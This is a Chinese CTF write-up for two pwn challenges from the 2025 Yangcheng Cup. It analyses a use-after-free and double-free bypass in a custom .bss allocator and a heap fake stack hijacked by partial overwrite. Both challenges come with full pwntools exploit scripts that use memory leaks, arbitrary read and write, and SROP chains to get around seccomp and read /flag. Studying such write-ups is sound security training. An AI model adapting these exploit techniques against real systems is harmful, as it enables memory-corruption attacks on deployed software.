2025年羊城杯网络安全大赛初赛 pwn 部分题解

Malloc

checksec

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

有沙箱,禁用了execve和execveat

$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

这题不是 glibc 原生堆,而是程序自己在 .bss 上写了一个小型 allocator

之前很容易先入为主往 __free_hookstdout、tcache/fastbin 上想,但这题真正被操作的是程序自己维护的那一小块 .bss heap,不是 glibc 的用户堆

.bss
​
0x4040  fastbin_head[0x10]
        fastbin_head[2]   -> size 0x20 chunk 链
        fastbin_head[3]   -> size 0x30 chunk 链
        ...
​
0x5200  custom heap start
        top chunk 初始也在这里
​
        chunk0 header
0x5210  chunk0 user
        chunk1 header
0x5240  chunk1 user
        ...
​
0x6200  ptr[0]
0x6208  ptr[1]
...
0x6278  ptr[15]
0x6280  size[0]
0x6288  size[1]
...

注意最后这一点:

ptr 数组从 0x6200 开始,size 数组从 0x6280 开始
​
0x6200 ~ 0x6278   一共只有 16 个 qword
0x6280            已经是 size[0]

所以我们真正安全可控的 ptr 槽位是 ptr[0..15]。 再往后就和 size[] 重叠了。

对于请求大小 0x20,实际 chunk 大小会被对齐成 0x30

chunk @ header
​
+0x00  used flag (1 byte)
+0x08  chunk size (dword)
+0x10  user data
​
free 后:
+0x10  这里会被拿来存 next 指针

也就是说,free 之后 user 区前 8 字节其实就是单链表的 fd

delete(idx) 里 free 完以后只清空了 size[idx],没有把 ptr[idx] 置空,uaf

结果就是:

show(idx) 仍然能读 freed chunk

edit(idx) 只要我们把 size[idx] 改回非 0,还能继续写 freed chunk

这就是整个利用的基础

自定义 free() 会检查 fastbin 单链表里是否已经出现当前 chunk,想拦 double free。

但它只查前 14 个节点:

while (cnt <= 13 && cur) {
    if (cur == victim) abort();
    cur = cur->fd;
    cnt++;
}

所以如果链表长度够长,让目标 chunk 落到第 15 个位置之后,再次 free 就能绕过检查。

show() 不是按 size[idx] 输出,而是直接:

puts((char *)ptr[idx]);

这意味着:

它是一个“字符串泄漏”,遇到 \x00\n 会提前停,但用来泄漏 .bss 地址、栈地址、environ 这种前几个字节非零的指针已经够用了

整体思路分成五步:

  1. 先通过 UAF 从 freed chunk 里泄漏 PIE
  2. 再通过 double free 做一个 fake chunk 到 size[]
  3. size[0] 改大,让 edit(0) 变成跨区溢出
  4. 重写 ptr[]size[],拿到任意读写
  5. 泄漏栈,覆写返回地址,用 SROP 做 openat("/flag") + sendfile(1, fd, 0, 0x100)

先申请 15 个 0x20 chunk,再按顺序全部 free。

由于 0x20 实际会变成 0x30,所以 chunk 排布是连续的:

heap @ 0x5200
​
chunk0  @ 0x5200
chunk1  @ 0x5230
chunk2  @ 0x5260
...
chunk13 @ 0x5470
chunk14 @ 0x54a0

free 完后的 fastbin 链:

head -> 14 -> 13 -> 12 -> ... -> 1 -> 0

此时 ptr[14] 还指向 chunk14 的 user 区。 而 chunk14 被 free 时,它的 user 前 8 字节已经被写成了 old head,也就是 chunk13 header

所以:

show(14) -> 读到 chunk13 header 地址

然后按已知偏移反推出 PIE:

pie = leak – (0x5200 + 13 * 0x30)

这就是 exp 里:

leak = uu64(show(14))
exe.address = leak - (HEAP + 13 * REAL)

现在链表是:

head -> 14 -> 13 -> 12 -> ... -> 1 -> 0

再执行一次 delete(0) 之后:

head -> 0 -> 14 -> 13 -> 12 -> ... -> 1 -> 0

示意图:

before:
head
 |
 v
[14] -> [13] -> [12] -> ... -> [1] -> [0] -> NULL
​
after delete(0) again:
head
 |
 v
[0] -> [14] -> [13] -> [12] -> ... -> [1] -> [0] -> NULL
 ^                                          |
 +------------------------------------------+

检查逻辑只往后扫 14 个节点。

从新 head chunk0 开始,后面 14 个正好只会扫到 14,13,...,1,扫不到链尾那个旧的 0,于是绕过检测。

再申请一次 chunk0,拿到双链中的第一个 chunk0

由于当前 chunk0 user 区和链尾那个旧 chunk0 是同一块内存,所以我们 edit 当前 chunk0,本质上就是在改链尾 chunk0fd

edit(0, p64(exe.address + SIZE_ARR - 0x10))

这样链表尾部就变成:

... -> chunk1 -> chunk0 -> fake(size_arr - 0x10)

随后连续申请:

idx=1..15 依次吃掉 14..0

idx=16 会拿到 fake chunk

因为 allocator 返回的是 header + 0x10,所以 idx=16 最终拿到的就是:

(size_arr - 0x10) + 0x10 = size_arr

也就是 ptr[16] = &size[0]

拿到 idx=16 以后,它实际指向的是 size[]

于是我们先写:

edit(16, flat(0x4000, 0x400, 0x400, 0x400))

对应:

size[0] = 0x4000
size[1] = 0x400
size[2] = 0x400
size[3] = 0x400

此时 ptr[0] 还是最开始的 chunk0 user,但是它的大小已经被改成 0x4000 了。

所以 edit(0, huge_payload) 就不再只是写 chunk0,而是可以一路覆盖后面的元数据区。

示意图:

chunk0 user
   |
   v
+--------------------+--------------------+--------------------+
| chunk1 / chunk2... |      ptr[]         |      size[]        |
+--------------------+--------------------+--------------------+
                    ^                    ^
                    |                    |
             我们最终要改这里        也要一起改这里

现在 edit(0) 已经能覆盖到 ptr[]size[],就可以把指定槽位改造成任意地址

exp 里这一步做成了

set_layout():

def set_layout(ptrs=None, sizes=None):
    ptr = [0] * 16
    size = [0] * 17
​
    ptr[0] = exe.address + CHUNK0
    size[0] = 0x4000
    ...

之后:

  • ptr[1] = addr, size[1] = 0x100
  • show(1) 就是任意读
  • edit(1, data) 就是任意写
ptr[15] @ 0x6278
size[0] @ 0x6280

ptr[16] 已经和 size[0] 重叠了。

所以 exp 里 ptr 数组故意只开了 16 个元素。

拿到 libc 基址后,读 libc.sym.environ 即可拿到当前栈上的环境变量指针。

env = uu64(aar(libc.sym.environ))

我们还不知道当前这一轮 show() / edit() 的 saved RIP 在哪里

但我们知道:

它一定在 environ 附近的栈上

show() 返回到 main 后的地址是固定的

这个固定地址就是:

SHOW_RET = pie + 0x1ac9

于是直接从 environ 往下扫一段,找到等于 SHOW_RET 的那一格,就是当前调用帧的 saved RIP。

示意图:

high addr
​
environ  -----> 0x7fffffffe...
               --------------
               saved rbp
               saved rip of show   <--- 我们要找的就是它
               local vars
               ...
​
low addr

exp 里扫描逻辑就是:

for base in range(0x100, 0x220, 15 * 8):
    ...
    if uu64(show(i)) == want:
        return ptrs[i]

本地验证过,最终 show 和最后一轮 edit 的 saved RIP 相对 environ 偏移是一样的,所以这个槽位可以直接复用

这题二进制本体 gadget 很少,直接在程序里攒 ORW ROP 很别扭

但 libc 里有:

pop rax ; ret

syscall ; ret

这已经足够做 SROP 了。

而且本地 seccomp 只拦:execveexecveat

所以最稳的方案就是:

  1. openat(AT_FDCWD, "/flag", 0, 0)
  2. sendfile(1, fd, 0, 0x100)
  3. exit_group(0)

这样不仅能直接把 flag 打到 stdout,还不用再额外申请缓冲区做 read/write

最终 SROP 链

exp 里核心 helper:

def sigrop(next_rsp, **regs):
   frame = SigreturnFrame()
   frame.rsp = next_rsp
   frame.rip = syscall
   ...
   return flat(pop_rax, constants.SYS_rt_sigreturn, syscall, bytes(frame))

然后串 3 段:

stage1: openat(AT_FDCWD, "/flag", 0, 0)
stage2: sendfile(1, 3, 0, 0x100)
stage3: exit_group(0)

栈上的样子大概是:

saved RIP
   |
   v
+-------------------+
| sigreturn frame 1 | -> openat("/flag")
+-------------------+
| sigreturn frame 2 | -> sendfile(1, 3, 0, 0x100)
+-------------------+
| sigreturn frame 3 | -> exit_group(0)
+-------------------+

同时再把一个槽位指到 scratch 区,写入字符串:”/flag\x00″

最后覆写 saved RIP,触发 edit() 返回,整条链就开始跑。

exp

#!/usr/bin/env python3
from pwn import *

context.binary = exe = ELF("./pwn", checksec=False)
context.arch = "amd64"
context.log_level = "debug" if args.D else "info"

menu = b"=======================\n"

HEAP = 0x5200
CHUNK0 = HEAP + 0x10
PTR_ARR = 0x6200
SIZE_ARR = 0x6280
REAL = 0x30
SHOW_RET = 0x1AC9

p = None
libc = None


def b(x):
    if isinstance(x, (bytes, bytearray)):
        return bytes(x)
    return str(x).encode()


def start():
    if args.GDB:
        return gdb.debug(exe.path, gdbscript="c")
    return process(exe.path)


def cmd(c):
    p.sendline(b(c))


def add(idx, size):
    cmd(1)
    p.sendlineafter(b"Index\n", b(idx))
    p.sendlineafter(b"size\n", b(size))
    p.recvuntil(b"Success\n")
    p.recvuntil(menu)


def delete(idx):
    cmd(2)
    p.sendlineafter(b"Index\n", b(idx))
    p.recvuntil(b"Success\n")
    p.recvuntil(menu)


def edit(idx, data, wait_menu=True):
    cmd(3)
    p.sendlineafter(b"Index\n", b(idx))
    p.sendlineafter(b"size\n", b(len(data)))
    p.send(data)
    p.recvuntil(b"Success\n")
    if wait_menu:
        p.recvuntil(menu)


def show(idx):
    cmd(4)
    p.sendlineafter(b"Index\n", b(idx))
    data = p.recvuntil(b"\nSuccess\n", drop=True)
    p.recvuntil(menu)
    return data


def uu64(x):
    return u64(x[:8].ljust(8, b"\x00"))


def setup():
    for i in range(15):
        add(i, 0x20)

    for i in range(15):
        delete(i)

    leak = uu64(show(14))
    exe.address = leak - (HEAP + 13 * REAL)
    log.success("pie = %#x" % exe.address)

    delete(0)
    add(0, 0x20)
    edit(0, p64(exe.address + SIZE_ARR - 0x10))

    for i in range(1, 16):
        add(i, 0x20)
    add(16, 0x20)

    edit(16, flat(0x4000, 0x400, 0x400, 0x400))


def set_layout(ptrs=None, sizes=None):
    if ptrs is None:
        ptrs = {}
    if sizes is None:
        sizes = {}

    ptr = [0] * 16
    size = [0] * 17

    ptr[0] = exe.address + CHUNK0
    size[0] = 0x4000

    for k, v in ptrs.items():
        ptr[k] = v
    for k, v in sizes.items():
        size[k] = v

    payload = b"A" * (PTR_ARR - CHUNK0)
    payload += flat(ptr)
    payload = payload.ljust(SIZE_ARR - CHUNK0, b"B")
    payload += flat(size)
    edit(0, payload)


def aar(addr):
    set_layout({1: addr}, {1: 0x100})
    return show(1)


def aaw(addr, data):
    set_layout({1: addr}, {1: len(data)})
    edit(1, data)


def get_libc():
    global libc

    maps = p.libs()
    libc_path = next(path for path in maps if "libc.so.6" in path)
    libc = ELF(libc_path, checksec=False)
    libc.address = maps[libc_path]
    log.success("libc = %#x" % libc.address)


def get_environ():
    env = uu64(aar(libc.sym.environ))
    log.success("environ = %#x" % env)
    return env


def find_saved_rip(env):
    want = exe.address + SHOW_RET

    for base in range(0x100, 0x220, 15 * 8):
        ptrs = {}
        sizes = {}

        for i in range(1, 16):
            ptrs[i] = env - base - (i - 1) * 8
            sizes[i] = 0x100

        set_layout(ptrs, sizes)

        for i in range(1, 16):
            if uu64(show(i)) == want:
                rip = ptrs[i]
                log.success("saved rip = %#x" % rip)
                return rip

    raise RuntimeError("saved rip not found")


def build_chain(saved_rip, scratch):
    rop = ROP(libc)
    pop_rax = rop.find_gadget(["pop rax", "ret"]).address
    syscall = next(libc.search(asm("syscall; ret")))

    def sigrop(next_rsp, **regs):
        frame = SigreturnFrame()
        frame.rsp = next_rsp
        frame.rip = syscall
        for k, v in regs.items():
            setattr(frame, k, v)
        return flat(pop_rax, constants.SYS_rt_sigreturn, syscall, bytes(frame))

    stage_len = len(sigrop(0, rax=0))

    chain = b""
    chain += sigrop(
        saved_rip + stage_len,
        rax=constants.SYS_openat,
        rdi=0xFFFFFFFFFFFFFF9C,
        rsi=scratch,
        rdx=0,
        r10=0,
    )
    chain += sigrop(
        saved_rip + stage_len * 2,
        rax=constants.SYS_sendfile,
        rdi=1,
        rsi=3,
        rdx=0,
        r10=0x100,
    )
    chain += sigrop(
        scratch + 0x200,
        rax=constants.SYS_exit_group,
        rdi=0,
    )

    return chain


def pwn():
    setup()
    get_libc()
    env = get_environ()
    saved_rip = find_saved_rip(env)

    scratch = exe.address + CHUNK0 + 0x400
    chain = build_chain(saved_rip, scratch)

    set_layout({2: saved_rip, 3: scratch}, {2: len(chain), 3: 0x10})
    edit(3, b"/flag\x00")

    log.info("smash stack and run srop")
    edit(2, chain, wait_menu=False)
    print(p.recvrepeat(1).decode("latin-1", errors="replace"))


if __name__ == "__main__":
    p = start()
    p.recvuntil(menu)
    pwn()

Stack_Over_Flow

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

表面上看像栈溢出,实际上程序把输入读到堆上,然后主动把 rsp 切到堆上的一块 fake stack 上执行。所以这题真正要抓住的点不是“普通 ret2libc”,而是:

  1. 利用堆上伪栈劫持流程
  2. 用一字节 partial overwrite 拿到 PIE
  3. 用 SROP 在极少 gadget 的情况下做寄存器控制
  4. 在 seccomp 限制下走 openat + sendfile/flag

另外程序还开了 seccomp

$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000002  if (A == open) goto 0015
 0006: 0x15 0x08 0x00 0x00000003  if (A == close) goto 0015
 0007: 0x15 0x07 0x00 0x0000003b  if (A == execve) goto 0015
 0008: 0x15 0x06 0x00 0x00000142  if (A == execveat) goto 0015
 0009: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0014
 0010: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0011: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0015
 0012: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0013: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

程序 seccomp_init(ALLOW) 之后又单独加了几条规则

实际效果可以概括成:

syscall      状态
-----------------------------------------
execve       禁止
execveat     禁止
open         禁止
close       禁止
read         仅允许 fd == 0
其他         默认允许

但还能用:

  • openat
  • write
  • sendfile

程序启动后会做这些关键动作:

  1. malloc(0x1000) 申请一块堆内存。
  2. 把全局输入指针改成 heap - 0x2a0
  3. 把 fake stack 指针设成 buf + 0x100
  4. 预先在 fake stack 上写好两个值:
    • [fake_stack + 0x0] = buf + 0x1000
    • [fake_stack + 0x8] = 0x132e

然后主读入函数 0x161f 会做:

read(0, buf, 0x2000)
...
mov rbp, fake_stack
mov rsp, rbp
xor rax, rax
pop rbp
ret

也就是说,程序不是直接在真实栈上读数据,而是:

  • 0x2000 字节读到堆上
  • 再把 rsp 切到堆上的 fake stack
  • 然后 ret

这就意味着我们能在堆上“伪造一个完整栈帧”

程序初始化后的关键区域关系大概如下:

heap chunk (malloc(0x1000))
┌──────────────────────────────────────────────┐
│ heap_base                                    │
│                                              │
│                ...                           │
│                                              │
└──────────────────────────────────────────────┘

buf        = heap_base - 0x2a0
fake_stack = buf + 0x100 = heap_base - 0x1a0

对应关系:

buf 区域
┌──────────────────────────────────────────────┐
│ buf + 0x000 : 可控输入开始                   │
│                                              │
│ buf + 0x100 : fake_stack 起点                │
│               [0x00] = buf + 0x1000          │
│               [0x08] = 0x132e                │
│                                              │
│                ...                           │
│                                              │
│ buf + 0x1000 : 默认下一段 rsp 落点           │
└──────────────────────────────────────────────┘

读入结束后实际执行的是:

read(0, buf, 0x2000)
        |
        v
rsp = fake_stack
pop rbp
ret -> 取 fake_stack+0x8 作为返回地址

所以 fake stack 上的内容才是真正的控制流核心

程序默认 fake stack 上的返回地址是 0x132e,这个位置会直接打印 bye~ 然后退出。

但因为我们能覆盖 fake stack 周围的内容,所以可以改掉这个返回地址

默认执行流:

read(0, buf, 0x2000)
    ->
rsp = fake_stack
    ->
ret 到 0x132e
    ->
puts("bye~")
    ->
exit

目标执行流:

read(0, buf, 0x2000)
    ->
rsp = fake_stack
    ->
ret 到 0x1357
    ->
printf("magic number:%lld\n", xxx)
    ->
再次调用 0x161f

也就是把程序从“直接退出”改成“泄露 PIE 后重新读入”

默认返回地址低 2 字节是:0x132e

我们想去的是:0x1357

所以只需要改最低 1 字节:payload = b”A” * 0x108 + p8(0x57)

这个 partial overwrite 的思路可以画成:

fake_stack
┌──────────────────────────────┐
│ +0x00 : rbp                  │
│ +0x08 : 0x....132e           │  <- 原返回地址
└──────────────────────────────┘

覆盖后

┌──────────────────────────────┐
│ +0x00 : rbp                  │
│ +0x08 : 0x....1357           │  <- 只改低 1 字节
└──────────────────────────────┘

初始化里会生成一个随机数 n,逻辑是:

rand() % 5
直到 n > 2

所以 n 只可能是:3和4

然后程序计算:magic = n * main_addr

所以拿到 magic 后,只需要试:

main = magic // 3
base = main – 0x16b0

或者:

main = magic // 4
base = main – 0x16b0

再检查:

  • base 是否页对齐
  • main 低 12 位是否与 0x16b0 一致

即可得到 PIE 基址

程序 gadget 极少,几乎没有传统 pop rdi ; ret 这种主程序 gadget

但它有一个非常重要的 syscall 点:

0x134f : syscall
0x1351 : nop
0x1352 : add rsp, 8
0x1356 : ret

注意,这里不是常见的:

syscall ; ret

而是:

syscall ; add rsp, 8 ; ret

这意味着我们的 fake stack 布局必须额外适配这一个 add rsp, 8

程序从 0x161f 返回时会:

xor rax, rax
pop rbp
ret

于是可以构造下面这种“二连 syscall”:

[0x00] dummy
[0x08] syscall
[0x10] dummy
[0x18] syscall
[0x20] SigreturnFrame

执行过程:

  1. ret 到第一个 syscall
  2. 由于此时 rax = 0,所以执行的是 read
  3. 我们再发 15 字节
  4. read 返回值是 15,于是 rax = 15
  5. gadget 尾巴 add rsp, 8 ; ret,跳到第二个 syscall
  6. 此时 rax = 15,于是触发 rt_sigreturn
  7. 进入我们伪造的 SigreturnFrame

可以画成:

第一次 ret
   |
   v
syscall(rax=0)  ------> read(0, ..., 15)
   |
   v
add rsp, 8 ; ret
   |
   v
syscall(rax=15) ------> rt_sigreturn(frame)

这就是这题整个利用链的核心

总体利用链

发送:

b"A" * 0x108 + p8(0x57)

效果:

0x132e -> 0x1357

程序输出:

magic number: xxxxxxxxx
Welcome to YCB2025!
Good luck!

这时我们已经:

  • 拿到了 PIE 恢复所需的 magic
  • 进入了第二次 read

我们第二次输入写入的是一条 SROP 链,目标是:

read(0, base + 0x4200, 0x600)
rsp = base + 0x4200

也就是把执行流从“未知的堆地址”迁到“PIE 内可计算的可写地址”。

payload 逻辑:

buf + 0x100
┌──────────────────────────────────────┐
│ 0x00 : dummy rbp                     │
│ 0x08 : syscall                       │
│ 0x10 : dummy                         │
│ 0x18 : syscall                       │
│ 0x20 : SigreturnFrame(read -> 0x4200)│
└──────────────────────────────────────┘

然后额外发送 15 字节,触发这次 SROP


栈迁移到 base + 0x4200 后,我们再布置下一段:

  1. 再做一次 SROP
  2. write(1, puts@got, 8) 泄露 libc
  3. 泄露完回到 0x161f 再次读入

这一段的结构如下:

base + 0x4200
┌──────────────────────────────────────┐
│ 0x000 : xor rax,rax ; pop rbp ; ret  │
│ 0x008 : ...                          │
│ 0x030 : SigreturnFrame(write puts@got)│
│                                      │
│ base + 0x4400                        │
│ 0x000 : dummy                        │
│ 0x008 : 0x161f                       │
│ 0x100 : "/flag\x00"                  │
└──────────────────────────────────────┘

为什么这一段前面要先用一次 xor rax, rax ; pop rbp ; ret

因为前一个 read 返回后,rax 已经不是 0 了。 如果此时直接进 syscall,执行的就不是我们想要的 read

所以这里要先清一次 rax,再复用“15 字节触发 sigreturn”的套路。

libc 泄露后直接:

puts_addr = u64(io.recvn(8))
libc_base = puts_addr - libc.sym["puts"]

泄露 libc 后,程序又会回到 0x161f

这时再送一条 SROP:

read(0, base + 0x4600, 0x600)
rsp = base + 0x4600

作用就是给最终链腾一个干净、稳定、可计算的位置


最后一段在 base + 0x4600

思路分两步:

  1. 先用 SROP 直接做一次 syscall(openat)
  2. 再用 libc ROP 调 sendfile

第一步:SROP 调 openat

构造 frame:

rax = SYS_openat
rdi = AT_FDCWD
rsi = &"/flag"
rdx = 0
r10 = 0
rsp = base + 0x4600 + 0x200
rip = syscall

这里 rsi 指向的是我们提前放在 base + 0x4600 + 0x300/flag\x00

第二步:把 openat 返回的 fd 塞进 esi

openat 返回值在 rax,而 sendfile 的第二个参数是 rsi

所以需要一个 gadget:

xchg eax, esi ; ret

做完以后:rsi = fd

再接 libc ROP:

pop rdi ; ret   -> 1
pop rcx ; ret   -> 0x100
ret             -> 栈对齐
sendfile

因为:

  • rdi = 1 表示输出到 stdout
  • rsi = fd 是刚才 openat 返回的文件描述符
  • rdx = 0 在前面的 frame 里已经设好了
  • rcx = 0x100 作为 sendfile 的 count

最终效果:

sendfile(1, fd, 0, 0x100)

直接把 flag 打出来。

完整利用过程可以总结成下面这个图:

Stage 1
read -> partial overwrite -> 0x1357
                         -> leak magic
                         -> back to 0x161f

Stage 2
0x161f read -> SROP -> read to base+0x4200

Stage 3
base+0x4200 -> SROP -> write(puts@got, 8)
            -> libc leak
            -> back to 0x161f

Stage 4
0x161f read -> SROP -> read to base+0x4600

Stage 5
base+0x4600 -> SROP openat("/flag")
            -> xchg eax, esi
            -> libc sendfile(1, fd, 0, 0x100)
            -> flag

exp

from pwn import *

context(os="linux", arch="amd64", log_level="info")
context.binary = elf = ELF("./pwn", checksec=False)

HOST = "127.0.0.1"
PORT = 9999

libc_path = "./libc.so.6" if args.REMOTE or args.GIVEN else "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc_path, checksec=False)

SYS = 0x134F
SHOW_MAGIC = 0x1357
MAIN = 0x16B0
READ_LOOP = 0x161F
EXIT = 0x132E
XOR_RAX_POP_RBP_RET = 0x16A0

RW1 = 0x4200
RW2 = 0x4400
RW3 = 0x4600
AT_FDCWD = (-100) & 0xFFFFFFFFFFFFFFFF

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([b"./pwn"])


def q(x):
    return p64(x)


def lg(name, value):
    log.success(f"{name}: {value:#x}")


def get_path():
    path = args.PATH.encode() if args.PATH else b"/flag"
    return path if path.endswith(b"\x00") else path + b"\x00"


def calc_base(magic):
    for k in (3, 4):
        if magic % k:
            continue
        main = magic // k
        base = main - MAIN
        if (base & 0xFFF) == 0 and (main & 0xFFF) == (MAIN & 0xFFF):
            return base
    raise ValueError(f"bad magic: {magic}")


def find_seq(binary, seq):
    for seg in binary.executable_segments:
        base = seg.header.p_vaddr
        data = seg.data()
        off = data.find(seq)
        if off != -1:
            return base + off
    raise ValueError(f"gadget not found: {seq!r}")


def read_frame(base, dst):
    frame = SigreturnFrame()
    frame.rax = constants.SYS_read
    frame.rdi = 0
    frame.rsi = dst
    frame.rdx = 0x600
    frame.rsp = dst
    frame.rip = base + SYS
    return bytes(frame)


def write_frame(base, addr, size, next_rsp):
    frame = SigreturnFrame()
    frame.rax = constants.SYS_write
    frame.rdi = 1
    frame.rsi = addr
    frame.rdx = size
    frame.rsp = next_rsp
    frame.rip = base + SYS
    return bytes(frame)


def openat_frame(base, path_addr, next_rsp):
    frame = SigreturnFrame()
    frame.rax = constants.SYS_openat
    frame.rdi = AT_FDCWD
    frame.rsi = path_addr
    frame.rdx = 0
    frame.r10 = 0
    frame.rsp = next_rsp
    frame.rip = base + SYS
    return bytes(frame)


def build_stage2(base):
    return fit(
        {
            0x100: q(0),
            0x108: q(base + SYS),
            0x110: q(0),
            0x118: q(base + SYS),
            0x120: read_frame(base, base + RW1),
        },
        filler=b"A",
    )


def build_stage3(base, path):
    return fit(
        {
            0x000: q(0),
            0x008: q(base + XOR_RAX_POP_RBP_RET),
            0x010: q(0),
            0x018: q(base + SYS),
            0x020: q(0),
            0x028: q(base + SYS),
            0x030: write_frame(base, base + elf.got["puts"], 8, base + RW2),
            RW2 - RW1 + 0x000: q(0),
            RW2 - RW1 + 0x008: q(base + READ_LOOP),
            RW2 - RW1 + 0x100: path,
        },
        filler=b"\x00",
    )


def build_stage4(base):
    return fit(
        {
            0x100: q(0),
            0x108: q(base + SYS),
            0x110: q(0),
            0x118: q(base + SYS),
            0x120: read_frame(base, base + RW3),
        },
        filler=b"\x00",
    )


def build_stage5(base, libc_base, path):
    pop_rdi = libc_base + find_seq(libc, b"\x5f\xc3")
    pop_rcx = libc_base + find_seq(libc, b"\x59\xc3")
    xchg_eax_esi = libc_base + find_seq(libc, b"\x96\xc3")
    ret = libc_base + ROP(libc).find_gadget(["ret"]).address
    sendfile = libc_base + libc.sym["sendfile"]

    return fit(
        {
            0x000: q(0),
            0x008: q(base + XOR_RAX_POP_RBP_RET),
            0x010: q(0),
            0x018: q(base + SYS),
            0x020: q(0),
            0x028: q(base + SYS),
            0x030: openat_frame(base, base + RW3 + 0x300, base + RW3 + 0x200),
            0x208: q(xchg_eax_esi),
            0x210: q(pop_rdi),
            0x218: q(1),
            0x220: q(pop_rcx),
            0x228: q(0x100),
            0x230: q(ret),
            0x238: q(sendfile),
            0x240: q(base + EXIT),
            0x300: path,
        },
        filler=b"\x00",
    )


def main():
    io = start()
    path = get_path()

    io.recvuntil(b"Good luck!\n")

    stage1 = b"A" * 0x108 + p8(SHOW_MAGIC & 0xFF)
    io.send(stage1)

    io.recvuntil(b"magic number:")
    magic = int(io.recvline().strip())
    base = calc_base(magic)
    lg("pie", base)

    io.recvuntil(b"Good luck!\n")
    io.send(build_stage2(base))
    sleep(0.1)

    io.send(b"A" * 15)
    sleep(0.1)
    io.send(build_stage3(base, path))
    sleep(0.1)

    io.send(b"B" * 15)
    sleep(0.1)
    puts_addr = u64(io.recvn(8))
    libc_base = puts_addr - libc.sym["puts"]
    lg("puts", puts_addr)
    lg("libc", libc_base)

    io.recvuntil(b"Good luck!\n")
    io.send(build_stage4(base))
    sleep(0.1)

    io.send(b"C" * 15)
    sleep(0.1)
    io.send(build_stage5(base, libc_base, path))
    sleep(0.1)

    io.send(b"D" * 15)
    print(io.recvrepeat(2).decode("latin-1", errors="ignore"))


if __name__ == "__main__":
    main()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇